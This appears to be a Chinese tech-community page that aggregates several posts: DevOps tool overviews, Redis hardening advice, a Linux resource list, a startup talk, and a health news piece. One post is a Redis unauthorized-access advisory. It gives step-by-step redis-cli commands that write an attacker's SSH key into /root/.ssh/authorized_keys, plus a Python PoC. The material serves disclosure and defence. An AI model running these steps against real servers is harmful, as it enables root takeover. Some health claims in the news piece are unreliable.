10个强大的DevOps基础设施自动化工具

Devops基础设施自动化的工具 有许多工具用于基础设施自动化。决定使用哪个工具的体系结构和基础设施的需求。下面我们列出了一些伟大的工具,受到不同类别配置管理、编制、持续集成、监控、等。 1、Chef Chef是一个基于ruby开发的...
继续阅读 »
devops_tools.png


Devops基础设施自动化的工具


有许多工具用于基础设施自动化。决定使用哪个工具的体系结构和基础设施的需求。下面我们列出了一些伟大的工具,受到不同类别配置管理、编制、持续集成、监控、等。


1、Chef


chef.png
Chef是一个基于ruby开发的配置管理工具。你可能会遇到“基础设施代码”这个词,这意味着配置管理。厨师烹饪书的概念,你的代码基础设施DSL(领域特定语言)和一个小的编程。chef规定和配置虚拟机根据规则中提到的食谱。代理将会运行在所有的服务器配置。代理将chef主服务器的cookbooks,在服务器上运行这些配置来达到理想的状态。


2、Puppet


puppet.png
Puppet也基于ruby编写的配置管理工具跟chef一样。配置代码编写使用puppet DSL和封装在模块。而chef更以开发人员为中心,puppet是由系统管理员控制为中心。puppet proxy运行在所有服务器配置,它把编译模块从puppet服务器和安装所需要的软件包中指定模块。


3、Saltstack


saltstack.png
Saltstack是一个基于python打开配置管理工具。不像chef和puppet,Saltstack支持远程执行的命令。通常在chef和puppet,配置的代码将从服务器,在Saltstack,代码可以同时被推到许多节点。编译的代码和配置是Saltstack非常快。


4、Ansible


ansible.png
Ansible是一个缺少代理配置管理以及编制工具。在Ansible配置模块中被称为“剧本”。剧本都写在YAML格式和它相对容易写相比其他配置管理工具。像其他工具,Ansible可用于云配置。


5、Juju


juju.png
Juju是由典型的基于Python的编排工具。它已经在你的云环境应用程序的伟大的UI。你也可以使用命令行界面来完成所有的业务流程的任务。你可以配置,部署和使用且具规模的应用。


6、 Jenkins


jenkines.png
Jenkins是一个基于java的持续集成工具更快的应用程序。Jenkins必须关联到一个版本控制系统如github或SVN。每当新代码被推到代码库,詹金斯服务器将构建和测试新代码和通知团队的结果和变化。


7、 Vagrant


vagrant.png
vagrant是一个伟大的工具为开发环境配置虚拟机。vagrant的上面运行的VM虚拟框和流浪的解决方案。它使用一个配置文件叫做Vagrantfile,其中包含所需的所有配置VM。一旦创建了一个虚拟机,它可以与其他开发人员共享相同的开发环境。vagrant有云配置插件,配置管理工具(chef、puppet等)和docker。


8、Docker


docker.png
Docker是一个自动化工具之上的Linux容器(LXC)。它工作在流程级别虚拟化的概念。Docker创造了孤立的环境称为应用程序容器。这些容器可以运往其他服务器无需更改应用程序。Docker被认为是虚拟化的下一步。码头工人有一个巨大的开发者社区,它是获得巨大的声望在Devops从业者和云计算的先驱。


9、New Relic


NewRelic.png
New relic的基于云的解决方案(SaaS)应用程序监视。它支持各种应用程序的监控像Php、Ruby、Java、NodeJS等等。它给你实时的见解关于您的运行应用程序中。new relic的代理应该配置在应用程序中获得实时数据。New relic使用各种指标提供有价值的见解关于应用程序监控。


10、Sensu


sensu.png
Sensu是一个开放源码监视框架用Ruby编写的。Sensu是一个监控工具专门建立云环境。它可以很容易地部署使用工具如chef和puppet。Sensu也有一个企业版的监控。
英文原文链接:http://devopscube.com/devops-tools-for-infrastructure-automation/  收起阅读 »

2015 GITC大会资料分享

GITC 大会2015资料下载链接:http://pan.baidu.com/s/1skjVm4t   开源技术社区分享 只做技术的分享,欢迎关注微信订阅号:
GITC 大会2015资料下载链接:http://pan.baidu.com/s/1skjVm4t
 
开源技术社区分享
只做技术的分享,欢迎关注微信订阅号:
openskill.gif

如果你是IT男赶紧看看这些坏毛病有没有

FACEBOOK创始人扎克伯格喜得千金,并捐赠价值约为450亿美元的股份——这是前天最重磅的消息。不过,扎克伯格喜得千金有多激动,当初就有多难过,他说:“在过去几年一直尝试着要孩子,但流产了三次。这是一段孤独的经历……就好像你有什么缺陷,或者你做错了什么才会招...
继续阅读 »
FACEBOOK创始人扎克伯格喜得千金,并捐赠价值约为450亿美元的股份——这是前天最重磅的消息。
不过,扎克伯格喜得千金有多激动,当初就有多难过,他说:“在过去几年一直尝试着要孩子,但流产了三次。这是一段孤独的经历……就好像你有什么缺陷,或者你做错了什么才会招致这一切。"
昨天,问题来了,按照网络传言:俗称码农的男性程序员因为不良的生活习惯,会导致妻子容易流产,即使是特别有才又有钱的程序员扎克伯格也难以避开这个问题。
男性码农的家庭是发生“流产”悲剧的高发地带吗?码农这个职业为什么会导致妻子流产呢,又该如何避免这样的情况呢?
钱报记者采访了杭州市中医院中妇科副主任赵宏利、杭州市妇产科医院生殖中心主任费小阳和浙江大学医学院附属妇产科医院男科门诊负责人张峰彬,结论是:IT男由于不良的作息习惯影响精子质量,胎儿流产的概率确实较高。而IT男,不仅仅是码农,还有和网站和新媒体的编辑!
男人有问题导致妻子习惯性流产
精子质量不好的人群就有IT男
赵宏利讲了一个病例:程序员小刘的妻子怀孕不到两个月自然流产;半年后,妻子又有了,这一次胎停育自然流产。赵宏利说:“我建议小刘去做一套精子形态学分析检查,发现他正常形态的精子很少,活力也不好。”
“男方的精子状况也直接影响到女方受孕。”赵宏利说,精子和卵子结合成受精卵,就像一枚种子丢进土里,如果土地贫瘠,种子无法发芽。但如果种子有问题,土壤再肥沃,也无济于事。
张峰彬在门诊中也发现,受孕受到阻碍,男女出问题的比例是2:8,虽然女性占多数,但问题也可能出在男人身上:“现在我们注意到,长途客车司机、出租车司机、高温作业者、长期与化学物质、重金属接触的工作者,占到大部分,还有一类人群特别庞大,就是搞IT的,包括程序员和网站编辑。而这些人的通病就是,作息不好导致精子质量下降。”
六个IT男的标签
对精子质量产生影响

那么在IT男的身上,有哪些标签导致了他们的精子问题,以至于妻子频频流产?

这些标签是:久坐、熬夜、抽烟、喝酒、喝咖啡、喝可乐、压力大、缺乏锻炼。

三位专家分别解释这些标签的可怕之处。


第一个标签:久坐


费小阳解释:按照常理男子生殖器官的温度应低于腹腔温度。不过久坐之后,血液循环受影响,局部温度也会增高,精子的数量、形态、活力都会受到影响,容易造成少精、弱精和畸精,这也就容易导致不孕和流产。


第二个标签:熬夜


其实,熬夜会让内分泌激素水平紊乱,使得细胞代谢异常,影响人体细胞正常分裂,导致细胞突变,这包括精子的伤害。


第三个标签:抽烟


很多程序员都认为,“电脑跟香烟最配”。不管是一手烟还是二手烟,尼古丁的摄入就是容易生出畸形婴儿。


第四个标签:垃圾食品


三位专家在采访中都提到,酒精、咖啡、可乐可谓精子的三大杀手。精子从开始发生到成熟需依赖雄激素存在,睾酮必不可少,酒精引起睾丸内睾酮降低,容易造成生精障碍。有研究表明,饮酒引起睾丸萎缩变小者,50%-70%发生不育。而摄入咖啡之后,人容易处于亢奋状态,当交感神经活动频繁时,相对较弱的副交感神经就会受到压抑,临床表现为性欲减退、勃起受抑制,也会影响受孕。至于可乐,也有一定杀精能力。
费小阳补充说,程序员常常不按时吃饭,或者吃些垃圾食品,不利于营养均衡,也会对精子质量造成影响。


第五个标签:压力大


赵宏利解释:在高压下,人的各种机能都会失常,生精也不例外。


第六个标签:缺乏锻炼


缺乏锻炼,人容易发胖。过度肥胖的男人,睾丸埋在两堆肉里面,不利于散热。适宜精子生长发育的温度是35℃,超过这个温度,不利于精子生长发育。加上肥胖的男人体内雌激素高,对雄激素产生抑制,也不利于精子生长发育。
解决办法:见缝插针地运动
胡萝卜一定要生吃
那么,有什么办法拯救IT男的精子呢?
赵宏利说,首先需要改变的是工作方式。工作一段时间,可以去倒杯水,或者去窗口站一会儿,也可以站起来扭扭腰,原地踏步。如果要拿文件,请走过去取,而不是滚动椅子滑过去。同事之间技术交流请拒绝互传邮件,可以把同事喊到位置上交流,或者走到同事面前去沟通问题,尽可能让自己多站一会儿。
到了周末,最好能有超过一小时的锻炼,尽量不要宅在家中。
精子生成需要很多营养物质,比如微量元素锌、硒等,多种维生素,氨基酸等等。在饮食方面,除了不抽烟,不喝酒,少喝咖啡和可乐之外,张峰彬荐多吃蔬菜水果。蔬菜里推荐胡萝卜,胡萝卜记得要生吃。
另外,很重要的一点,如果妻子习惯性流产2次以上,作为丈夫的,就一定要做检查。
分享阅读:http://news.163.com/15/1204/07/B9VNRGUV00014AED.html
收起阅读 »

Redis风险安全公告

今天接到ucloud的安全公告信息,内容如下,分享给大家:近日爆出针对Redis的新型攻击手法,Redis用户可能因为配置不当,被攻击者恶意利用导致被清空Redis数据或者获取到系统控制权限。对于自建Redis服务、如使用默认端口、没有启用认证而且对公网开放的...
继续阅读 »
今天接到ucloud的安全公告信息,内容如下,分享给大家:
近日爆出针对Redis的新型攻击手法,Redis用户可能因为配置不当,被攻击者恶意利用导致被清空Redis数据或者获取到系统控制权限。
对于自建Redis服务、如使用默认端口、没有启用认证而且对公网开放的服务器均受该漏洞影响。


修复方案


1、监听指定接口
修改redis.conf配置,例如只监听127.0.0.1:

bind 127.0.0.1
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效。
2、启用认证
在requirepass字段后面配置强口令,例如:

requirepass H9j#udw*1FL
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效,同时修改客户端程序,需要使用该口令才可以访问。
3、关闭config命令
如果不需要在运行过程中通过CONFIG命令修改配置,可以关闭该功能,有两种方式:
1)把CONFIG重命名为其它的名字,这样攻击者很难猜测到该名字,方法如下:
rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
 2)直接关闭CONFIG命令,方法如下:
rename-command CONFIG ""
修改完配置后需要重启才能生效。
 
4、使用普通账户运行redis服务
使用普通用户运行redis,并关闭该账号系统登录权限,可以减少漏洞影响,但是攻击者还是可以通过运行命令删除redis数据。
5、配置访问控制策略
如果redis必须对公网提供服务,可以通过通过防火墙限制指定的IP才可以访问redis服务。
http://openskill.cn   开源技术社区分享阅读
只做技术的分享,欢迎订阅微信公众号:
openskill.gif

qqun.png
收起阅读 »

Linux知识工具大全

简介: Linux is a Unix-ish POSIX-compliant OS family. Most of the distros are GPL or otherwise FOSS. The defining component of Linux ...
继续阅读 »
简介:
Linux is a Unix-ish POSIX-compliant OS family. Most of the distros are GPL or otherwise FOSS. The defining component of Linux is the Linux Kernel, first released on 5 October 1991 by Linus Torvalds.


新版本


linux1.png


开始


Linux2.png


受欢迎的网站


Linux3.png


著名发行版本


Linux4.png


Grok Linux       


Linux5.png


Linux Virt


Linux6.png


可调参数


Linux7.png


Linux日志


Linux8.png


Book/ebooks


Linux9.png


Kernel Matrix 


Linux10.png


内核地图


linux11.png


In Production


linux12.png


Linux论坛


linux13.png


shell指南


linux14.png


Linux安全


linux15.png


Linux桌面


linux16.png


防火墙


Linux17.png


linux NAS


Linux18.png


最佳实践


Linux19.png

http://openskill.cn  开源技术社区分享
只做技术的分享,欢迎关注微信订阅号:
openskill.gif

QQ群交流:
qqun.png


分享英文原文链接:https://linux.zeef.com/paul.reiber


收起阅读 »

Redis 未授权访问缺陷可轻易导致系统被黑

漏洞概要 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问R...
继续阅读 »
redisbug1.png


漏洞概要


Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。


漏洞详情


漏洞概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞描述
Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。
 
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 
利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞影响
Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。


通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。
redisbug2.png


根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。


1.1. 漏洞分析与利用
首先在本地生产公私钥文件:
$ssh-keygen –t rsa

redisbug3.png
然后将公钥写入foo.txt文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
再连接Redis写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
redisbug4.png

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:
$ ssh –i  id_rsa root@192.168.1.11
即可远程利用自己的私钥登录该服务器。
 
当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。


Redis 未授权的其他危害与利用


数据库数据泄露
Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等 
redis5.png

代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下
redisbug5.png

一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。
敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
redisbug6.png

可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。
redisbug7.png

redisbug8.png


漏洞 PoC


#!/usr/bin/env python
# -[i]- coding:utf-8 -[/i]-

import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
vulID = '89339'
version = '1'
author = ['Anonymous']
vulDate = '2015-10-26'
createDate = '2015-10-26'
updateDate = '2015-10-26'
references = ['http://sebug.net/vuldb/ssvid-89339']
name = 'Redis 未授权访问 PoC'
appPowerLink = 'http://redis.io/'
appName = 'Redis'
appVersion = 'All'
vulType = 'Unauthorized access'
desc = '''
redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
'''
samples = ['']

def _verify(self):
result = {}
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and 'redis_version' in recvdata:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Port'] = port
except:
pass
s.close()
return self.parse_attack(result)

def _attack(self):
return self._verify()

def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output

register(TestPOC)
redisbug9.png


分享阅读原文:https://www.sebug.net/vuldb/ssvid-89715


收起阅读 »

未来有三种创业公司能成功

      9月24日消息,投资人蔡文胜日前在出席岳麓峰会时发表演讲,表达了自己对于关于创业和投资的一些看法,他认为,创业者绝不能忽视草根及草根联盟的力量。 蔡文胜表示,在创业初期,创业者要考虑市场需求、自身优势、版权和产业链等问题,拿投资不是企...
继续阅读 »
      9月24日消息,投资人蔡文胜日前在出席岳麓峰会时发表演讲,表达了自己对于关于创业和投资的一些看法,他认为,创业者绝不能忽视草根及草根联盟的力量。
cys.jpg

蔡文胜表示,在创业初期,创业者要考虑市场需求、自身优势、版权和产业链等问题,拿投资不是企业发展的必经之路,互联网和移动互联网时代最重要的三个特点就是强者更强、众包和分享。

同时,蔡文胜认为有三种公司能够获得成功,即能将闲置资源重新优化分配的公司、能将复杂事情简单化的公司和颠覆固有模式的公司,“现有的传统的经济模式其实未来都会被颠覆,看谁能够先进入”,蔡文胜说道。

以下为蔡文胜演讲速记全文:

蔡文胜:尊敬的张迎春市长,尊敬的各位朋友们,其实挺荣幸,这是我第一次来到长沙,我们知道长沙是一个人杰地灵的地方,在整个中国的曾国藩开始,到后面的谭嗣同,到建国的毛泽东,引领着中国的变化,都处在非常前沿的阵地。

今天来到了一个互联网的时代,同样我相信湖南长沙也会带来一个新的时代。为什么会第一次来到长沙呢?因为之前一直错过,这次受到58姚劲波先生的邀请。姚劲波是湖南人,58是最大的同城分类信息,58到家是最大的O2O,有幸成为他的天使投资人,所以我也算是半个湖南人。

刚才主持人说我演讲的主题是“起点宁静(音)”,我觉得大家更关注的是现在,现在是互联网时代,现在是移动互联网时代,现在是O2O的时代,我倒更想跟大家分享我们如何抓住这个浪潮进行创业和投资。因为我本人自己也有创业,有4399,还有美图秀秀等,我就分享一下我创业和投资的一些思考。

我们知道一个人如果开始有一个念头创业,选择一个创业产品和创业的方向非常关键。无论怎么样,你要符合三个要求,你要看一下这个市场上人有没有需求。第二,你要结合自己,有什么样的优势,比如说当时的姚劲波要创造58,如果在长沙创建就不会有今天的58了,因为我们当时在长沙还不具备全国互联网的优势,所以他必须在北京,这就是结合你的优势。最终就是要赚钱,你们经常参加会议,谁拿了钱,烧了多少钱,我们前期必须要投入和烧钱,最终这个企业没有办法赚到钱,无法变成商业模式,一定会死掉的。

我给大家讲一个数字,1998年到现在18年的互联网,所有的VC投资的企业最少是千家,投入的资金是数以千亿,而最终能上市的企业不会超过200家,如果加上并购的也不会超过1千家,也就是说最终成功的概率是非常低的,基本上如果你按上市的标准来讲,1%都远远不够。我们曾经看到拿了无数的钱一起往前烧,最后没有人投钱,还是会死掉的。

第二,尽量没有版权和灰色问题,政府不干涉,竞争对手不强。因为我们都知道在互联网,版权不太考量,如果要把它变成一个公司,变成一个体系的发展,必须尊重知识产权,必须尊重法律法规。所谓的竞争对手不强,比如说我们现在知道QQ非常牛逼,如果你现在再做百度、QQ、阿里的需求,肯定没有办法。比如说你现在要再建立一个同城的的分类信息,58已经在这里,你就很难。因为有58,如果你做O2O有机会,因为O2O涉及到餐饮、健康各个领域,我估计最少是10万亿的产值,这里面的空间就非常大了,你在这里面还是有机会脱颖而出的。
 
第三,利用网络联盟的方式发展,形成产业链。这点我们可以从当时百度的发展起来可以看到,百度在2002年以前自己的官网没有流量,它是帮三大门户提供搜索引擎,到后来建立门户出来。当时他的流量非常少,仍然不如三大门户,当时就找到了好123等网站推流量,然后给他做分成,所以百度就这样慢慢起来。淘宝也是这样的,淘宝是2003年推出来的,当时中国最大电子商务就是意起立克(音),后来卖给夷贝,后来被淘宝颠覆了,淘宝2004年把各种各样的广告买断广告位,后面提出淘宝客联盟,把流量导到淘宝,淘宝里面产生的交易会给你分成。我们知道58同城,58同城当时在全国各地开分公司,就是联盟的方式发展。

也就是说在中国,因为中国地大物博,在发展的过程有时候靠自己的力量很难,在互联网时代你能够快速的通过联盟的方式来壮大,唯一的差别在哪里?比如说中国有很多的消费品,李宁、安踏这种服装,开了几千家的店,差别在像安踏、七匹狼,开每一家店的成本很高,要有房租、人员成本,通过互联网的联盟,你就不要这些,找到小一点的网站,找到各种各样的软件,让他跟你合作,大家分成,你又不用付出代价。

我接触的所有的成功互联网公司,从开始的融资计划,到最后成功经过不断的修改,在创业的过程当中你要不断的改变,不能说你定一个方向,大的方向可以不变,但是在小的细节需要不断的做出修正。

第五,产品名称要容易传播,是吉祥名字、注册商标,一开始因为没有钱,没有资源,所以一开始的时候随便想到一个名字就开始做了。但是当你做大的时候就会发现有非常大的问题,你好不容易想到的名字已经被别人注册商标,要换。或者你好不容易想到的点子,但你没有拿出来,被别人注册专利,反过来你是不合法的。所以对于新创业的,你注册一个新商标,申请一个知识产权花不了多少钱,不到几千元,你应该把这个东西做到前面,说明你更有前瞻性。
 
我跟姚劲波,我们是从做域名开始,我们赚第一桶金以来,我记得15年以前注册一个域名60元,但是所有人都没有意识到这个巨大的机会,因为大家没有意识到我们要卖给别人不容易,比如说588.com,当时花60元就可以了,而现在卖几百万元都可以,这就是机会。所以商标、产权、专利都是非常重要的。

当你想好了创业方向,包括想好了产品开始做起来,你就必须要做营销,营销会涉及五个比较重要的点。第一,你要建立一个品牌,而且为品牌建立一个符号。我们再用58为例。当时其实在中国用两个数字,比如58、51、67、52做网站的非常多,58为什么会脱颖而出呢?除了我们知道58比较顺、通俗,还有一个姚劲波当时就给58定了一个调子,我们要做中国最大的分类信息网站,包括后面的一个非常有名的广告,58是个神奇的网站,就是帮你的产品,帮你的网站定一个符号,哪怕你是很小的产品服务,你都要有一个口号,说明你的性质,而且容易传播,这样会事半功倍。

当时我们创建4399的时候,大概有5亿多的用户,中国5岁到16岁的小孩都在用,当时4399在网站最上面最显目的地方有一个口号,4399是中国最好用的休闲游戏网站,这个口号其实也是说明你网站的性质,让人家能够一目了然。

第二,消费者只使用的理由买单,这点也就是说回到一个广告,广告说得再好,最终要回到产品的本质,所有的用户和消费者为什么要用你这个?

第三,要为用户设计利于口碑传播的台词。韩国靠的是整容,中国只要美图秀秀就够了。

第四,产品需要和用户有情感互动。这点就如同我刚才讲的美图秀秀是2008年推出,它最开始就是一个傻瓜的Photoshop,所有的图片处理需要Photoshop,美图秀秀把复杂的参数和设计改掉,让人家一键修复,包括我们在传播的时候,我们更多的满足客户的需要,然后不断的修改。在这个过程当中我觉得2008年美图秀秀只有十几个人的时候,他们每个星期都会到网吧,甚至到用户的家里询问怎么使用这个产品,这是跟用户情感互动的一部分。

当你的产品想好了,网站也有一定的流量,接下来就要拿钱,但是我在这里要强调一点,拿钱、拿投资是一个锦上添花的事情,但是绝对不是一个必经的道路,也是唯一的道路。当你创业的时候,一定要想如果没有人投你的钱,我也一定能成功,你就抱着这样的信念才能走到最后。当然在这个过程里面,有人给你投钱,你就可以走得更快更远,但如果没有你也一样能走下去,这才是好的心态。

你要见投资人,要有几个准备:

第一,了解你要见的投资人的情况,我经常参加一些会议,碰到有一些创业者发名片,然后给姚劲波换名片,换了名片之后不了了之。你要知道这个会议有什么样的投资人,在会议流程就知道,更多的了解这个投资人的兴趣,包括他喜欢偏好、喜欢投资什么样的项目,投资了什么样的项目,然后跟他谈的时候就拉近了距离。2004年6月的时候我第一次得见IDG熊晓鸽,还有其他人,我就当是上了他们的网站,包括通过谷歌、百度把他们9个人合伙人的生平简历我就知道了熊晓鸽原来是湖南人,然后回来投钱。见我的郭永红原来是在索罗斯基金工作,所以你要找投资人,不仅是投资人和投资机构,要对他先有一个大的了解。

第二,你的计划书尽量简洁,直接切入重点,让投资人有想法跟你见面。我看了很多的商业计划书是这么厚厚的一本,投资人这么短的时间要把你的这么厚的计划书看完,他都把自己搞晕了,所以一般好的商业计划书尽量不超过10页。也就是最快的时间让他切入主题,让他对你产生兴趣。

第三,除了商业计划书,或者有机会直接跟投资人面对面,一般来讲这个见面只会半个小时。如果这半个小时之内你就跟他滔滔不绝的说这个市场前景有多大,我们中国人口有多少,你就把时间浪费掉了,因为投资人比你更了解这个行业的发展,一定更了解这个行业的价值。你一定要在半个小时之内里面尽量搞定他,因为只有半小时让他对你感兴趣,觉得你有意思,才会继续往下投。所以前面半个小时不要说一些堂而皇之的比较空洞的东西。

在整个的计划里面投资人对你最有兴趣,包括决定投你的最关键的是数据,比如说你现在的用户是多少?现在的销售有多少?你的员工有多少?往下的安排时间怎么样?这些数据是最关键的,我一般的建议是你在前面所做的这些数据不管是你收入多少或者用户多少,你应该如实的说明。因为告诉投资人,投资人在这些数据里面考虑的,但有一点对未来的数据可以适当的吹牛,如果你不适当的吹牛,没有办法去说未来的空间有多大,那么投资人就不会对你感兴趣,因为每个投资人更多的是希望投出下一个58同城,甚至是下一个BAT。

如果有了好产品,拿到了钱,恭喜你过了第二关。但创业是九死一生的,拿到钱之后怎么办?我记忆非常深刻的,我当时在2004年我拿到IDG的钱之后,我跟IDG的投资经理两个人在北京到一个大排挡,花了几十块钱庆祝了一下,投资经理说我们应该大吃一顿的。我的心情很沉重,因为之前我自己在干,亏了赚了无所谓,现在IDG投了这么多钱,我突然想我怎么用这个钱来赚钱,包括怎么对你们交待。我相信姚劲波跟我是一样的态度。我拿到钱之后,可能开心也就那么一瞬间,更多的是想把这个钱接下来怎么花,怎么更快的更好把它做好。
 
我觉得拿到投资以后,可能有三点非常重要。

第一,开始对公司进行规范化,不仅是股权、财务、知识产权都要尽量完善,为了加速发展而节省,以后改正成本更高。

第二,市场营销,有了钱可以加大市场营销的投入,快速的建立品牌,同时在这个过程也就能吸引更多的人来加入。

第三,团队建设,我认为最关键,拿了钱就是搭建你整个的团队,因为之前有一些没钱不敢去招的人或者是没钱你不敢去做的细节,都可以开始做尝试。

我这里提了三个门槛,20人、50人跟200人,这个是我自己创业的心得。创业的初期一般几个人开始,为什么是20人、50人、200人?初创企业在20人里面,效率和战斗率是更高的,每个人都可以叫出对方的名字,协同作战能力是最强的时候,那个时候也没有所谓的公司不好的企业文化。大家一般拿到钱之后你会快速的一般突破50人这个槛,50人是开始往公司规范化的标准,我建议不要尽快突破50个人,因为快速突破50人之后你会发现进入新来的员工不认识,会花更多的时间在沟通各个方面。50个人到200人,不但是产品,包括营销,包括你进入一个开始赚钱的阶段,也能把你的企业文化快速奠定的重要的阶段。

一个企业,我们说一个企业的文化是基本上是前面的50个人来奠定的,前面50人从创始人到员工大家的价值取向是什么?大家的相处方法是什么?这会奠定这家公司未来的基调。如果超过200人,首先这个公司你已经进入了一个具备规模的公司,这时候就进入了另外一个范畴,你要引入更多的职业经理人,包括要有分公司,各地的分机构。那时候我想你也要进入更加的升级换代的思想了。

这个部分是我自己一些创业的经验,跟大家分享一下。第一,我们创业要思考3年后整体市场和行业的格局。我们一定有思考的,3年之后的市场有多大?大概怎么样?大部分人想错了,为什么想错了?因为我自己做PPT的时候,我们拿了钱,规划一般是说我现在有50个员工,我认为一年之内要发到200人个员工,3年之内发展到800个员工,今年的收入定的是3千万,明年希望达到1个亿,后年达到3个亿,一般是按照推断式的思考,我认为是错的。我觉得应该站在更高的角度来看这个事情。

比如说10年前,2005年的时候,当时整个中国最领军的互联网企业不是BAT,是搜狐、网易、新浪,当时的BAT刚起来,当时有几个人能够看到BAT成为今天这么巨大的?远远超出三大门户。很多人没有做这样的思考,当时我有做这样的思考,因为曾经投资人问我,如果在中国买股票应该买什么?我当时说阿里当时还没有上市,是百度和腾讯,我当时自己投资了一个杂志,拿了1800万美金,这个项目是死掉了的,我现在回想着跟创始人,我们不要做了,我们这么看好百度和腾讯,1800万就买腾讯的股票了,当时腾讯的股票是15元,现在腾讯的股票是700多元。

比如说O2O大家都知道,你要跟谁合作?你要看比如说想象3年后O2O的市场会是谁的天下?目前处于领先的美团、大众点评、58同城相对领先的平台,滴滴、饿了么,我觉得你们展开想象,包括实际的调查,你要找谁合作,或者找谁来投钱,你就会看得更清楚。

第二,绝对不能忽视草根及草根联盟的力量。当然我们在长沙,其实我们大部分是草根,知道什么是草根?以前叫做个人站长,现在叫做APP开发者,这个其实跟美国有很大的区别,在美国是没有草根和个人站长之说,为什么在中国有?我们知道其实杨致远创建雅虎的时候,他是草根,也是个人站长。扎克伯格也是做个人网站。只是美国的投资体系非常发达,一个网站只要冒尖就马上有人投了,中国实在太大了,十年前VC的投资人只待在北京和上海。现在投资人多了,我们通过各种会议看得到,但是相对于整个中国还是太少了。现在在北上广深,好的二线城市,杭州、厦门、成都同样看到,在长沙还没有一个比较有名的VC在长沙有公司。这就是机会,这是中国的幅员辽阔,人员太多,怎么去草根的力量,我们就套用毛泽东主席说的时候,在中国做农村包围城市的事情。

第三,从来就没有什么开始就牛B的技术,我们在创业的时候人家的技术有多牛B,58同城也好,美图也好,并不是特别的牛B也没有特别高深的技术,所谓的牛B的技术是在你的做的过程当中不断的修正,不断的修改,不断的引入好的技术人员,经过一连串的积累和发展,自然而然就牛B了。

第四,每个杀手级的应用都是一个流量入口,以前在PC时代,每个个人网站都有可能成为流量入口。包括我们知道好123,相信很多人都用过,是广东梅州下面兴宁下面的一个村的一个人做的,好123当时就占据了中国流量入口。在互联网时代,APP都是一个入口,美图秀秀做的时候就是一个P图,发展到今天,我们已经达到8个亿的用户,这其实也在验证这句话。今天是O2O,我也可以肯定的讲,每个O2O垂直领域的未来也可能就是一个好的入口,因为吃喝拉撒、衣食住行是每个人都必须经历的事情,只要抓住某一个点,可能未来它就是一个很重要的入口。随着网络的发展,一定是跟物联网等相结合。如果你占领中国的餐厅跟洗车点,这都可以变成一个重要的入口。

